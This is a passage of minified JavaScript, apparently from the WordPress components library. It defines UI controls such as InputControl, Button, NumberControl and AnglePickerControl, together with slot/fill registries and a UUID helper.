s=e=>(t,n)=>{o({type:e,payload:{value:t,event:n}})},a=e=>t=>{o({type:e,payload:{event:t}})},l=e=>t=>{o({type:e,payload:t})},u=s(hx),d=s(Cx),p=s(mx),f=l(bx),h=l(xx),m=l(vx),g=a(Sx),v=a(wx),b=a(_x),x=(0,c.useRef)(r),y=(0,c.useRef)({value:t.value,onChangeHandler:n});return(0,c.useLayoutEffect)((()=>{x.current=r,y.current={value:t.value,onChangeHandler:n}})),(0,c.useLayoutEffect)((()=>{var e;void 0===x.current._event||r.value===y.current.value||r.isDirty||y.current.onChangeHandler(null!==(e=r.value)&&void 0!==e?e:"",{event:x.current._event})}),[r.value,r.isDirty]),(0,c.useLayoutEffect)((()=>{var e;t.value===x.current.value||x.current.isDirty||o({type:gx,payload:{value:null!==(e=t.value)&&void 0!==e?e:""}})}),[t.value]),{change:u,commit:p,dispatch:o,drag:h,dragEnd:m,dragStart:f,invalidate:(e,t)=>o({type:yx,payload:{error:e,event:t}}),pressDown:v,pressEnter:b,pressUp:g,reset:d,state:r}}function jx(e){return t=>{const{isComposing:n}="nativeEvent"in t?t.nativeEvent:t;n||229===t.keyCode||e(t)}}const Ex=()=>{};const Px=(0,c.forwardRef)((function({disabled:e=!1,dragDirection:t="n",dragThreshold:n=10,id:r,isDragEnabled:o=!1,isPressEnterToChange:i=!1,onBlur:s=Ex,onChange:a=Ex,onDrag:l=Ex,onDragEnd:u=Ex,onDragStart:d=Ex,onKeyDown:p=Ex,onValidate:f=Ex,size:h="default",stateReducer:m=e=>e,value:g,type:v,...b},x){const{state:y,change:w,commit:_,drag:S,dragEnd:C,dragStart:k,invalidate:j,pressDown:E,pressEnter:P,pressUp:N,reset:T}=kx(m,{isDragEnabled:o,value:g,isPressEnterToChange:i},a),{value:I,isDragging:R,isDirty:M}=y,A=(0,c.useRef)(!1),D=function(e,t){const n=function(e){let t="ns-resize";switch(e){case"n":case"s":t="ns-resize";break;case"e":case"w":t="ew-resize"}return t}(t);return(0,c.useEffect)((()=>{document.documentElement.style.cursor=e?n:null}),[e,n]),n}(R,t),z=e=>{const t=e.currentTarget.value;try{f(t),_(t,e)}catch(t){j(t,e)}},O=dx((e=>{const{distance:t,dragging:n,event:r,target:o}=e;if(e.event={...e.event,target:o},t){if(r.stopPropagation(),!n)return u(e),void C(e);l(e),S(e),R||(d(e),k(e))}}),{axis:"e"===t||"w"===t?"x":"y",threshold:n,enabled:o,pointer:{capture:!1}}),L=o?O():{};let F;return"number"===v&&(F=e=>{b.onMouseDown?.(e),e.currentTarget!==e.currentTarget.ownerDocument.activeElement&&e.currentTarget.focus()}),(0,_t.jsx)(ib,{...b,...L,className:"components-input-control__input",disabled:e,dragCursor:D,isDragging:R,id:r,onBlur:e=>{s(e),!M&&e.target.validity.valid||(A.current=!0,z(e))},onChange:e=>{const t=e.target.value;w(t,e)},onKeyDown:jx((e=>{const{key:t}=e;switch(p(e),t){case"ArrowUp":N(e);break;case"ArrowDown":E(e);break;case"Enter":P(e),i&&(e.preventDefault(),z(e));break;case"Escape":i&&M&&(e.preventDefault(),T(g,e))}})),onMouseDown:F,ref:x,inputSize:h,value:null!=I?I:"",type:v})})),Nx=Px,Tx={"default.fontFamily":"-apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen-Sans, Ubuntu, Cantarell, 'Helvetica Neue', sans-serif","default.fontSize":"13px","helpText.fontSize":"12px",mobileTextMinFontSize:"16px"};function Ix(e){var t;return null!==(t=Tx[e])&&void 0!==t?t:""}const Rx={name:"kv6lnz",styles:"box-sizing:border-box;*,*::before,*::after{box-sizing:inherit;}"};const Mx=yl("div",{target:"ej5x27r4"})("font-family:",Ix("default.fontFamily"),";font-size:",Ix("default.fontSize"),";",Rx,";"),Ax=({__nextHasNoMarginBottom:e=!1})=>!e&&Nl("margin-bottom:",Il(2),";",""),Dx=yl("div",{target:"ej5x27r3"})(Ax," .components-panel__row &{margin-bottom:inherit;}"),zx=Nl(Hv,";display:block;margin-bottom:",Il(2),";padding:0;",""),Ox=yl("label",{target:"ej5x27r2"})(zx,";");var Lx={name:"11yad0w",styles:"margin-bottom:revert"};const Fx=({__nextHasNoMarginBottom:e=!1})=>!e&&Lx,Bx=yl("p",{target:"ej5x27r1"})("margin-top:",Il(2),";margin-bottom:0;font-size:",Ix("helpText.fontSize"),";font-style:normal;color:",zl.gray[700],";",Fx,";"),Vx=yl("span",{target:"ej5x27r0"})(zx,";"),$x=(0,c.forwardRef)(((e,t)=>{const{className:n,children:r,...o}=e;return(0,_t.jsx)(Vx,{ref:t,...o,className:s("components-base-control__label",n),children:r})})),Hx=Object.assign(ll((e=>{const{__nextHasNoMarginBottom:t=!1,__associatedWPComponentName:n="BaseControl",id:r,label:o,hideLabelFromVision:i=!1,help:s,className:a,children:l}=sl(e,"BaseControl");return t||Xi()(`Bottom margin styles for wp.components.${n}`,{since:"6.7",version:"7.0",hint:"Set the `__nextHasNoMarginBottom` prop to true to start opting into the new styles, which will become the default in a future version."}),(0,_t.jsxs)(Mx,{className:a,children:[(0,_t.jsxs)(Dx,{className:"components-base-control__field",__nextHasNoMarginBottom:t,children:[o&&r&&(i?(0,_t.jsx)(Sl,{as:"label",htmlFor:r,children:o}):(0,_t.jsx)(Ox,{className:"components-base-control__label",htmlFor:r,children:o})),o&&!r&&(i?(0,_t.jsx)(Sl,{as:"label",children:o}):(0,_t.jsx)($x,{children:o})),l]}),!!s&&(0,_t.jsx)(Bx,{id:r?r+"__help":void 0,className:"components-base-control__help",__nextHasNoMarginBottom:t,children:s})]})}),"BaseControl"),{VisualLabel:$x}),Wx=Hx;function Ux({componentName:e,__next40pxDefaultSize:t,size:n,__shouldNotWarnDeprecated36pxSize:r}){r||t||void 0!==n&&"default"!==n||Xi()(`36px default size for wp.components.${e}`,{since:"6.8",version:"7.1",hint:"Set the `__next40pxDefaultSize` prop to true to start opting into the new default size, which will become the default in a future version."})}const Gx=()=>{};const Kx=(0,c.forwardRef)((function(e,t){const{__next40pxDefaultSize:n,__shouldNotWarnDeprecated36pxSize:r,__unstableStateReducer:o=e=>e,__unstableInputWidth:i,className:a,disabled:u=!1,help:d,hideLabelFromVision:p=!1,id:f,isPressEnterToChange:h=!1,label:m,labelPosition:g="top",onChange:v=Gx,onValidate:b=Gx,onKeyDown:x=Gx,prefix:y,size:w="default",style:_,suffix:S,value:C,...k}=hb(e),j=function(e){const t=(0,l.useInstanceId)(Kx);return e||`inspector-input-control-${t}`}(f),E=s("components-input-control",a),P=function(e){const t=(0,c.useRef)(e.value),[n,r]=(0,c.useState)({}),o=void 0!==n.value?n.value:e.value;return(0,c.useLayoutEffect)((()=>{const{current:o}=t;t.current=e.value,void 0===n.value||n.isStale?n.isStale&&e.value!==o&&r({}):r({...n,isStale:!0})}),[e.value,n]),{value:o,onBlur:t=>{r({}),e.onBlur?.(t)},onChange:(t,n)=>{r((e=>Object.assign(e,{value:t,isStale:!1}))),e.onChange(t,n)}}}({value:C,onBlur:k.onBlur,onChange:v}),N=d?{"aria-describedby":`${j}__help`}:{};return Ux({componentName:"InputControl",__next40pxDefaultSize:n,size:w,__shouldNotWarnDeprecated36pxSize:r}),(0,_t.jsx)(Wx,{className:E,help:d,id:j,__nextHasNoMarginBottom:!0,children:(0,_t.jsx)(vb,{__next40pxDefaultSize:n,__unstableInputWidth:i,disabled:u,gap:3,hideLabelFromVision:p,id:j,justify:"left",label:m,labelPosition:g,prefix:y,size:w,style:_,suffix:S,children:(0,_t.jsx)(Nx,{...k,...N,__next40pxDefaultSize:n,className:"components-input-control__input",disabled:u,id:j,isPressEnterToChange:h,onKeyDown:x,onValidate:b,paddingInlineStart:y?Il(1):void 0,paddingInlineEnd:S?Il(1):void 0,ref:t,size:w,stateReducer:o,...P})})})})),qx=Kx;const Yx=function({icon:e,className:t,size:n=20,style:r={},...o}){const i=["dashicon","dashicons","dashicons-"+e,t].filter(Boolean).join(" "),s={...20!=n?{fontSize:`${n}px`,width:`${n}px`,height:`${n}px`}:{},...r};return(0,_t.jsx)("span",{className:i,style:s,...o})};const Xx=function({icon:e=null,size:t=("string"==typeof e?20:24),...r}){if("string"==typeof e)return(0,_t.jsx)(Yx,{icon:e,size:t,...r});if((0,c.isValidElement)(e)&&Yx===e.type)return(0,c.cloneElement)(e,{...r});if("function"==typeof e)return(0,c.createElement)(e,{size:t,...r});if(e&&("svg"===e.type||e.type===n.SVG)){const o={...e.props,width:t,height:t,...r};return(0,_t.jsx)(n.SVG,{...o})}return(0,c.isValidElement)(e)?(0,c.cloneElement)(e,{size:t,...r}):e},Zx=["onMouseDown","onClick"];const Qx=(0,c.forwardRef)((function(e,t){const{__next40pxDefaultSize:n,accessibleWhenDisabled:r,isBusy:o,isDestructive:i,className:a,disabled:c,icon:u,iconPosition:d="left",iconSize:p,showTooltip:f,tooltipPosition:h,shortcut:m,label:g,children:v,size:b="default",text:x,variant:y,description:w,..._}=function({__experimentalIsFocusable:e,isDefault:t,isPrimary:n,isSecondary:r,isTertiary:o,isLink:i,isPressed:s,isSmall:a,size:l,variant:c,describedBy:u,...d}){let p=l,f=c;const h={accessibleWhenDisabled:e,"aria-pressed":s,description:u};var m,g,v,b,x,y;return a&&(null!==(m=p)&&void 0!==m||(p="small")),n&&(null!==(g=f)&&void 0!==g||(f="primary")),o&&(null!==(v=f)&&void 0!==v||(f="tertiary")),r&&(null!==(b=f)&&void 0!==b||(f="secondary")),t&&(Xi()("wp.components.Button `isDefault` prop",{since:"5.4",alternative:'variant="secondary"'}),null!==(x=f)&&void 0!==x||(f="secondary")),i&&(null!==(y=f)&&void 0!==y||(f="link")),{...h,...d,size:p,variant:f}}(e),{href:S,target:C,"aria-checked":k,"aria-pressed":j,"aria-selected":E,...P}="href"in _?_:{href:void 0,target:void 0,..._},N=(0,l.useInstanceId)(Qx,"components-button__description"),T="string"==typeof v&&!!v||Array.isArray(v)&&v?.[0]&&null!==v[0]&&"components-tooltip"!==v?.[0]?.props?.className,I=s("components-button",a,{"is-next-40px-default-size":n,"is-secondary":"secondary"===y,"is-primary":"primary"===y,"is-small":"small"===b,"is-compact":"compact"===b,"is-tertiary":"tertiary"===y,"is-pressed":[!0,"true","mixed"].includes(j),"is-pressed-mixed":"mixed"===j,"is-busy":o,"is-link":"link"===y,"is-destructive":i,"has-text":!!u&&(T||x),"has-icon":!!u}),R=c&&!r,M=void 0===S||c?"button":"a",A="button"===M?{type:"button",disabled:R,"aria-checked":k,"aria-pressed":j,"aria-selected":E}:{},D="a"===M?{href:S,target:C}:{},z={};if(c&&r){A["aria-disabled"]=!0,D["aria-disabled"]=!0;for(const e of Zx)z[e]=e=>{e&&(e.stopPropagation(),e.preventDefault())}}const O=!R&&(f&&!!g||!!m||!!g&&!v?.length&&!1!==f),L=w?N:void 0,F=P["aria-describedby"]||L,B={className:I,"aria-label":P["aria-label"]||g,"aria-describedby":F,ref:t},V=(0,_t.jsxs)(_t.Fragment,{children:[u&&"left"===d&&(0,_t.jsx)(Xx,{icon:u,size:p}),x&&(0,_t.jsx)(_t.Fragment,{children:x}),v,u&&"right"===d&&(0,_t.jsx)(Xx,{icon:u,size:p})]}),$="a"===M?(0,_t.jsx)("a",{...D,...P,...z,...B,children:V}):(0,_t.jsx)("button",{...A,...P,...z,...B,children:V}),H=O?{text:v?.length&&w?w:g,shortcut:m,placement:h&&Ji(h)}:{};return(0,_t.jsxs)(_t.Fragment,{children:[(0,_t.jsx)(ss,{...H,children:$}),w&&(0,_t.jsx)(Sl,{children:(0,_t.jsx)("span",{id:L,children:w})})]})})),Jx=Qx;var ey={name:"euqsgg",styles:"input[type='number']::-webkit-outer-spin-button,input[type='number']::-webkit-inner-spin-button{-webkit-appearance:none!important;margin:0!important;}input[type='number']{-moz-appearance:textfield;}"};const ty=({hideHTMLArrows:e})=>e?ey:"",ny=yl(qx,{target:"ep09it41"})(ty,";"),ry=yl(Jx,{target:"ep09it40"})("&&&&&{color:",zl.theme.accent,";}"),oy={smallSpinButtons:Nl("width:",Il(5),";min-width:",Il(5),";height:",Il(5),";","")};function iy(e){const t=Number(e);return isNaN(t)?0:t}function sy(...e){return e.reduce(((e,t)=>e+iy(t)),0)}function ay(e,t,n){const r=iy(e);return Math.max(t,Math.min(r,n))}function ly(e=0,t=1/0,n=1/0,r=1){const o=iy(e),i=iy(r),s=function(e){const t=(e+"").split(".");return void 0!==t[1]?t[1].length:0}(r),a=ay(Math.round(o/i)*i,t,n);return s?iy(a.toFixed(s)):a}const cy={bottom:{align:"flex-end",justify:"center"},bottomLeft:{align:"flex-end",justify:"flex-start"},bottomRight:{align:"flex-end",justify:"flex-end"},center:{align:"center",justify:"center"},edge:{align:"center",justify:"space-between"},left:{align:"center",justify:"flex-start"},right:{align:"center",justify:"flex-end"},stretch:{align:"stretch"},top:{align:"flex-start",justify:"center"},topLeft:{align:"flex-start",justify:"flex-start"},topRight:{align:"flex-start",justify:"flex-end"}},uy={bottom:{justify:"flex-end",align:"center"},bottomLeft:{justify:"flex-end",align:"flex-start"},bottomRight:{justify:"flex-end",align:"flex-end"},center:{justify:"center",align:"center"},edge:{justify:"space-between",align:"center"},left:{justify:"center",align:"flex-start"},right:{justify:"center",align:"flex-end"},stretch:{align:"stretch"},top:{justify:"flex-start",align:"center"},topLeft:{justify:"flex-start",align:"flex-start"},topRight:{justify:"flex-start",align:"flex-end"}};function dy(e){return"string"==typeof e?[e]:c.Children.toArray(e).filter((e=>(0,c.isValidElement)(e)))}function py(e){const{alignment:t="edge",children:n,direction:r,spacing:o=2,...i}=sl(e,"HStack"),s=function(e,t="row"){if(!Vg(e))return{};const n="column"===t?uy:cy;return e in n?n[e]:{align:e}}(t,r),a=dy(n).map(((e,t)=>{if(dl(e,["Spacer"])){const n=e,r=n.key||`hstack-${t}`;return(0,_t.jsx)(Fg,{isBlock:!0,...n.props},r)}return e})),l={children:a,direction:r,justify:"center",...s,...i,gap:o},{isColumn:c,...u}=Sg(l);return u}const fy=al((function(e,t){const n=py(e);return(0,_t.jsx)(_l,{...n,ref:t})}),"HStack"),hy=()=>{};const my=(0,c.forwardRef)((function(e,t){const{__unstableStateReducer:n,className:r,dragDirection:o="n",hideHTMLArrows:i=!1,spinControls:u=(i?"none":"native"),isDragEnabled:d=!0,isShiftStepEnabled:p=!0,label:f,max:h=1/0,min:m=-1/0,required:g=!1,shiftStep:v=10,step:b=1,spinFactor:x=1,type:y="number",value:w,size:_="default",suffix:S,onChange:C=hy,__shouldNotWarnDeprecated36pxSize:k,...j}=hb(e);Ux({componentName:"NumberControl",size:_,__next40pxDefaultSize:j.__next40pxDefaultSize,__shouldNotWarnDeprecated36pxSize:k}),i&&Xi()("wp.components.NumberControl hideHTMLArrows prop ",{alternative:'spinControls="none"',since:"6.2",version:"6.3"});const E=(0,c.useRef)(),P=(0,l.useMergeRefs)([E,t]),N="any"===b,T=N?1:$g(b),I=$g(x)*T,R=ly(0,m,h,T),M=(e,t)=>N?""+Math.min(h,Math.max(m,$g(e))):""+ly(e,m,h,null!=t?t:T),A="number"===y?"off":void 0,D=s("components-number-control",r),z=il()("small"===_&&oy.smallSpinButtons),O=(e,t,n)=>{n?.preventDefault();const r=n?.shiftKey&&p,o=r?$g(v)*I:I;let i=function(e){const t=""===e;return!Vg(e)||t}(e)?R:e;return"up"===t?i=sy(i,o):"down"===t&&(i=function(...e){return e.reduce(((e,t,n)=>{const r=iy(t);return 0===n?r:e-r}),0)}(i,o)),M(i,r?o:void 0)},L=e=>t=>C(String(O(w,e,t)),{event:{...t,target:E.current}});return(0,_t.jsx)(ny,{autoComplete:A,inputMode:"numeric",...j,className:D,dragDirection:o,hideHTMLArrows:"native"!==u,isDragEnabled:d,label:f,max:h===1/0?void 0:h,min:m===-1/0?void 0:m,ref:P,required:g,step:b,type:y,value:w,__unstableStateReducer:(e,t)=>{var r;const i=((e,t)=>{const n={...e},{type:r,payload:i}=t,s=i.event,l=n.value;if(r!==Sx&&r!==wx||(n.value=O(l,r===Sx?"up":"down",s)),r===xx&&d){const[e,t]=i.delta,r=i.shiftKey&&p,s=r?$g(v)*I:I;let c,u;switch(o){case"n":u=t,c=-1;break;case"e":u=e,c=(0,a.isRTL)()?-1:1;break;case"s":u=t,c=1;break;case"w":u=e,c=(0,a.isRTL)()?1:-1}if(0!==u){u=Math.ceil(Math.abs(u))*Math.sign(u);const e=u*s*c;n.value=M(sy(l,e),r?s:void 0)}}if(r===_x||r===mx){const e=!1===g&&""===l;n.value=e?l:M(l)}return n})(e,t);return null!==(r=n?.(i,t))&&void 0!==r?r:i},size:_,__shouldNotWarnDeprecated36pxSize:!0,suffix:"custom"===u?(0,_t.jsxs)(_t.Fragment,{children:[S,(0,_t.jsx)(zg,{marginBottom:0,marginRight:2,children:(0,_t.jsxs)(fy,{spacing:1,children:[(0,_t.jsx)(ry,{className:z,icon:Og,size:"small",label:(0,a.__)("Increment"),onClick:L("up")}),(0,_t.jsx)(ry,{className:z,icon:Lg,size:"small",label:(0,a.__)("Decrement"),onClick:L("down")})]})})]}):S,onChange:C})})),gy=my;const vy=yl("div",{target:"eln3bjz3"})("border-radius:",Fl.radiusRound,";border:",Fl.borderWidth," solid ",zl.ui.border,";box-sizing:border-box;cursor:grab;height:",32,"px;overflow:hidden;width:",32,"px;:active{cursor:grabbing;}"),by=yl("div",{target:"eln3bjz2"})({name:"1r307gh",styles:"box-sizing:border-box;position:relative;width:100%;height:100%;:focus-visible{outline:none;}"}),xy=yl("div",{target:"eln3bjz1"})("background:",zl.theme.accent,";border-radius:",Fl.radiusRound,";box-sizing:border-box;display:block;left:50%;top:4px;transform:translateX( -50% );position:absolute;width:",6,"px;height:",6,"px;"),yy=yl($v,{target:"eln3bjz0"})("color:",zl.theme.accent,";margin-right:",Il(3),";");const wy=function({value:e,onChange:t,...n}){const r=(0,c.useRef)(null),o=(0,c.useRef)(),i=(0,c.useRef)(),s=e=>{if(void 0!==e&&(e.preventDefault(),e.target?.focus(),void 0!==o.current&&void 0!==t)){const{x:n,y:r}=o.current;t(function(e,t,n,r){const o=r-t,i=n-e,s=Math.atan2(o,i),a=Math.round(s*(180/Math.PI))+90;if(a<0)return 360+a;return a}(n,r,e.clientX,e.clientY))}},{startDrag:a,isDragging:u}=(0,l.__experimentalUseDragging)({onDragStart:e=>{(()=>{if(null===r.current)return;const e=r.current.getBoundingClientRect();o.current={x:e.x+e.width/2,y:e.y+e.height/2}})(),s(e)},onDragMove:s,onDragEnd:s});return(0,c.useEffect)((()=>{u?(void 0===i.current&&(i.current=document.body.style.cursor),document.body.style.cursor="grabbing"):(document.body.style.cursor=i.current||"",i.current=void 0)}),[u]),(0,_t.jsx)(vy,{ref:r,onMouseDown:a,className:"components-angle-picker-control__angle-circle",...n,children:(0,_t.jsx)(by,{style:e?{transform:`rotate(${e}deg)`}:void 0,className:"components-angle-picker-control__angle-circle-indicator-wrapper",tabIndex:-1,children:(0,_t.jsx)(xy,{className:"components-angle-picker-control__angle-circle-indicator"})})})};const _y=(0,c.forwardRef)((function(e,t){const{className:n,label:r=(0,a.__)("Angle"),onChange:o,value:i,...l}=e,c=s("components-angle-picker-control",n),u=(0,_t.jsx)(yy,{children:"°"}),[d,p]=(0,a.isRTL)()?[u,null]:[null,u];return(0,_t.jsxs)(kg,{...l,ref:t,className:c,gap:2,children:[(0,_t.jsx)(Eg,{children:(0,_t.jsx)(gy,{__next40pxDefaultSize:!0,label:r,className:"components-angle-picker-control__input-field",max:360,min:0,onChange:e=>{if(void 0===o)return;const t=void 0!==e&&""!==e?parseInt(e,10):0;o(t)},step:"1",value:i,spinControls:"none",prefix:d,suffix:p})}),(0,_t.jsx)(zg,{marginBottom:"1",marginTop:"auto",children:(0,_t.jsx)(wy,{"aria-hidden":"true",value:i,onChange:o})})]})}));var Sy=o(9681),Cy=o.n(Sy);const ky=window.wp.richText,jy=window.wp.a11y,Ey=window.wp.keycodes,Py=new RegExp(/[\u007e\u00ad\u2053\u207b\u208b\u2212\p{Pd}]/gu),Ny=e=>Cy()(e).toLocaleLowerCase().replace(Py,"-");function Ty(e){var t;let n=null!==(t=e?.toString?.())&&void 0!==t?t:"";return n=n.replace(/['\u2019]/,""),js(n,{splitRegexp:[/(?!(?:1ST|2ND|3RD|[4-9]TH)(?![a-z]))([a-z0-9])([A-Z])/g,/(?!(?:1st|2nd|3rd|[4-9]th)(?![a-z]))([0-9])([a-z])/g,/([A-Za-z])([0-9])/g,/([A-Z])([A-Z][a-z])/g]})}function Iy(e){return e.replace(/[\\^$.*+?()[\]{}|]/g,"\\$&")}function Ry(e){return t=>{const[n,r]=(0,c.useState)([]);return(0,c.useLayoutEffect)((()=>{const{options:n,isDebounced:o}=e,i=(0,l.debounce)((()=>{const o=Promise.resolve("function"==typeof n?n(t):n).then((n=>{if(o.canceled)return;const i=n.map(((t,n)=>({key:`${e.name}-${n}`,value:t,label:e.getOptionLabel(t),keywords:e.getOptionKeywords?e.getOptionKeywords(t):[],isDisabled:!!e.isOptionDisabled&&e.isOptionDisabled(t)}))),s=new RegExp("(?:\\b|\\s|^)"+Iy(t),"i");r(function(e,t=[],n=10){const r=[];for(let o=0;o<t.length;o++){const i=t[o];let{keywords:s=[]}=i;if("string"==typeof i.label&&(s=[...s,i.label]),s.some((t=>e.test(Cy()(t))))&&(r.push(i),r.length===n))break}return r}(s,i))}));return o}),o?250:0),s=i();return()=>{i.cancel(),s&&(s.canceled=!0)}}),[t]),[n]}}const My=e=>({name:"arrow",options:e,fn(t){const{element:n,padding:r}="function"==typeof e?e(t):e;return n&&(o=n,{}.hasOwnProperty.call(o,"current"))?null!=n.current?Ii({element:n.current,padding:r}).fn(t):{}:n?Ii({element:n,padding:r}).fn(t):{};var o}});var Ay="undefined"!=typeof document?B.useLayoutEffect:B.useEffect;function Dy(e,t){if(e===t)return!0;if(typeof e!=typeof t)return!1;if("function"==typeof e&&e.toString()===t.toString())return!0;let n,r,o;if(e&&t&&"object"==typeof e){if(Array.isArray(e)){if(n=e.length,n!==t.length)return!1;for(r=n;0!=r--;)if(!Dy(e[r],t[r]))return!1;return!0}if(o=Object.keys(e),n=o.length,n!==Object.keys(t).length)return!1;for(r=n;0!=r--;)if(!{}.hasOwnProperty.call(t,o[r]))return!1;for(r=n;0!=r--;){const n=o[r];if(("_owner"!==n||!e.$$typeof)&&!Dy(e[n],t[n]))return!1}return!0}return e!=e&&t!=t}function zy(e){if("undefined"==typeof window)return 1;return(e.ownerDocument.defaultView||window).devicePixelRatio||1}function Oy(e,t){const n=zy(e);return Math.round(t*n)/n}function Ly(e){const t=B.useRef(e);return Ay((()=>{t.current=e})),t}const Fy=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{d:"m13.06 12 6.47-6.47-1.06-1.06L12 10.94 5.53 4.47 4.47 5.53 10.94 12l-6.47 6.47 1.06 1.06L12 13.06l6.47 6.47 1.06-1.06L13.06 12Z"})});let By=0;function Vy(e){const t=document.scrollingElement||document.body;e&&(By=t.scrollTop);const n=e?"add":"remove";t.classList[n]("lockscroll"),document.documentElement.classList[n]("lockscroll"),e||(t.scrollTop=By)}let $y=0;const Hy=function(){return(0,c.useEffect)((()=>(0===$y&&Vy(!0),++$y,()=>{1===$y&&Vy(!1),--$y})),[]),null},Wy={slots:(0,l.observableMap)(),fills:(0,l.observableMap)(),registerSlot:()=>{},updateSlot:()=>{},unregisterSlot:()=>{},registerFill:()=>{},unregisterFill:()=>{},isDefault:!0},Uy=(0,c.createContext)(Wy);function Gy(e){const t=(0,c.useContext)(Uy);return{...(0,l.useObservableValue)(t.slots,e)}}const Ky={slots:(0,l.observableMap)(),fills:(0,l.observableMap)(),registerSlot:()=>{},unregisterSlot:()=>{},registerFill:()=>{},unregisterFill:()=>{},updateFill:()=>{}},qy=(0,c.createContext)(Ky);function Yy({name:e,children:t}){const n=(0,c.useContext)(qy),r=(0,c.useRef)({}),o=(0,c.useRef)(t);return(0,c.useLayoutEffect)((()=>{o.current=t}),[t]),(0,c.useLayoutEffect)((()=>{const t=r.current;return n.registerFill(e,t,o.current),()=>n.unregisterFill(e,t)}),[n,e]),(0,c.useLayoutEffect)((()=>{n.updateFill(e,r.current,o.current)})),null}function Xy(e){return"function"==typeof e}const Zy=function(e){var t;const n=(0,c.useContext)(qy),r=(0,c.useRef)({}),{name:o,children:i,fillProps:s={}}=e;(0,c.useLayoutEffect)((()=>{const e=r.current;return n.registerSlot(o,e),()=>n.unregisterSlot(o,e)}),[n,o]);let a=null!==(t=(0,l.useObservableValue)(n.fills,o))&&void 0!==t?t:[];(0,l.useObservableValue)(n.slots,o)!==r.current&&(a=[]);const u=a.map((e=>function(e){return c.Children.map(e,((e,t)=>{if(!e||"string"==typeof e)return e;let n=t;return"object"==typeof e&&"key"in e&&e?.key&&(n=e.key),(0,c.cloneElement)(e,{key:n})}))}(Xy(e.children)?e.children(s):e.children))).filter((e=>!(0,c.isEmptyElement)(e)));return(0,_t.jsx)(_t.Fragment,{children:Xy(i)?i(u):u})},Qy={randomUUID:"undefined"!=typeof crypto&&crypto.randomUUID&&crypto.randomUUID.bind(crypto)};let Jy;const ew=new Uint8Array(16);function tw(){if(!Jy&&(Jy="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto),!Jy))throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");return Jy(ew)}const nw=[];for(let e=0;e<256;++e)nw.push((e+256).toString(16).slice(1));function rw(e,t=0){return nw[e[t+0]]+nw[e[t+1]]+nw[e[t+2]]+nw[e[t+3]]+"-"+nw[e[t+4]]+nw[e[t+5]]+"-"+nw[e[t+6]]+nw[e[t+7]]+"-"+nw[e[t+8]]+nw[e[t+9]]+"-"+nw[e[t+10]]+nw[e[t+11]]+nw[e[t+12]]+nw[e[t+13]]+nw[e[t+14]]+nw[e[t+15]]}const ow=function(e,t,n){if(Qy.randomUUID&&!t&&!e)return Qy.randomUUID();const r=(e=e||{}).random||(e.rng||tw)();if(r[6]=15&r[6]|64,r[8]=63&r[8]|128,t){n=n||0;for(let e=0;e<16;++e)t[n+e]=r[e];return t}return rw(r)},iw=new Set,sw=new WeakMap;function aw(e){const{children:t,document:n}=e;if(!n)return null;const r=(e=>{if(sw.has(e))return sw.get(e);let t=ow().replace(/[0-9]/g,"");for(;iw.has(t);)t=ow().replace(/[0-9]/g,"");iw.add(t);const n=Ta({container:e,key:t});return sw.set(e,n),n})(n.head);return(0,_t.jsx)(Ka,{value:r,children:t})}const lw=aw;function cw({name:e,children:t}){var n;const r=(0,c.useContext)(Uy),o=(0,l.useObservableValue)(r.slots,e),i=(0,c.useRef)({});if((0,c.useEffect)((()=>{const t=i.current;return r.registerFill(e,t),()=>r.unregisterFill(e,t)}),[r,e]),!o||!o.ref.current)return null;const s=(0,_t.jsx)(lw,{document:o.ref.current.ownerDocument,children:"function"==typeof t?t(null!==(n=o.fillProps)&&void 0!==n?n:{}):t});return(0,c.createPortal)(s,o.ref.current)}const uw=(0,c.forwardRef)((function(e,t){const{name:n,fillProps:r={},as:o,children:i,...s}=e,a=(0,c.useContext)(Uy),u=(0,c.useRef)(null),d=(0,c.useRef)(r);return(0,c.useLayoutEffect)((()=>{d.current=r}),[r]),(0,c.useLayoutEffect)((()=>(a.registerSlot(n,u,d.current),()=>a.unregisterSlot(n,u))),[a,n]),(0,c.useLayoutEffect)((()=>{a.updateSlot(n,u,d.current)})),(0,_t.jsx)(_l,{as:o,ref:(0,l.useMergeRefs)([t,u]),...s})})),dw=window.wp.isShallowEqual;var pw=o.n(dw);function fw(){const e=(0,l.observableMap)(),t=(0,l.observableMap)();return{slots:e,fills:t,registerSlot:(t,n,r)=>{e.set(t,{ref:n,fillProps:r})},updateSlot:(t,n,r)=>{const o=e.get(t);o&&o.ref===n&&(pw()(o.fillProps,r)||e.set(t,{ref:n,fillProps:r}))},unregisterSlot:(t,n)=>{const r=e.get(t);r&&r.ref===n&&e.delete(t)},registerFill:(e,n)=>{t.set(e,[...t.get(e)||[],n])},unregisterFill:(e,n)=>{const r=t.get(e);r&&t.set(e,r.filter((e=>e!==n)))}}}function hw({children:e}){const[t]=(0,c.useState)(fw);return(0,_t.jsx)(Uy.Provider,{value:t,children:e})}function mw(){const e=(0,l.observableMap)(),t=(0,l.observableMap)();return{slots:e,fills:t,registerSlot:function(t,n){e.set(t,n)},unregisterSlot:function(t,n){e.get(t)===n&&e.delete(t)},registerFill:function(e,n,r){t.set(e,[...t.get(e)||[],{instance:n,children:r}])},unregisterFill:function(e,n){const r=t.get(e);r&&t.set(e,r.filter((e=>e.instance!==n)))},updateFill:function(e,n,r){const o=t.get(e);if(!o)return;const i=o.find((e=>e.instance===n));i&&i.children!==r&&t.set(e,o.map((e=>e.instance===n?{instance:n,children:r}:e)))}}}const gw=function({children:e}){const[t]=(0,c.useState)(mw);return(0,_t.jsx)(qy.Provider,{value:t,children:e})};function vw(e){return(0,_t.jsxs)(_t.Fragment,{children:[(0,_t.jsx)(Yy,{...e}),(0,_t.jsx)(cw,{...e})]})}const bw=(0,c.forwardRef)((function(e,t){const{bubblesVirtually:n,...r}=e;return n?(0,_t.jsx)(uw,{...r,ref:t}):(0,_t.jsx)(Zy,{...r})}));function xw({children:e,passthrough:t=!1}){return!(0,c.useContext)(Uy).isDefault&&t?(0,_t.jsx)(_t.Fragment,{children:e}):(0,_t.jsx)(gw,{children:(0,_t.jsx)(hw,{children:e})})}function yw(e){const t="symbol"==typeof e?e.description:e,n=t=>(0,_t.jsx)(vw,{name:e,...t});n.displayName=`${t}Fill`;const r=t=>(0,_t.jsx)(bw,{name:e,...t});return 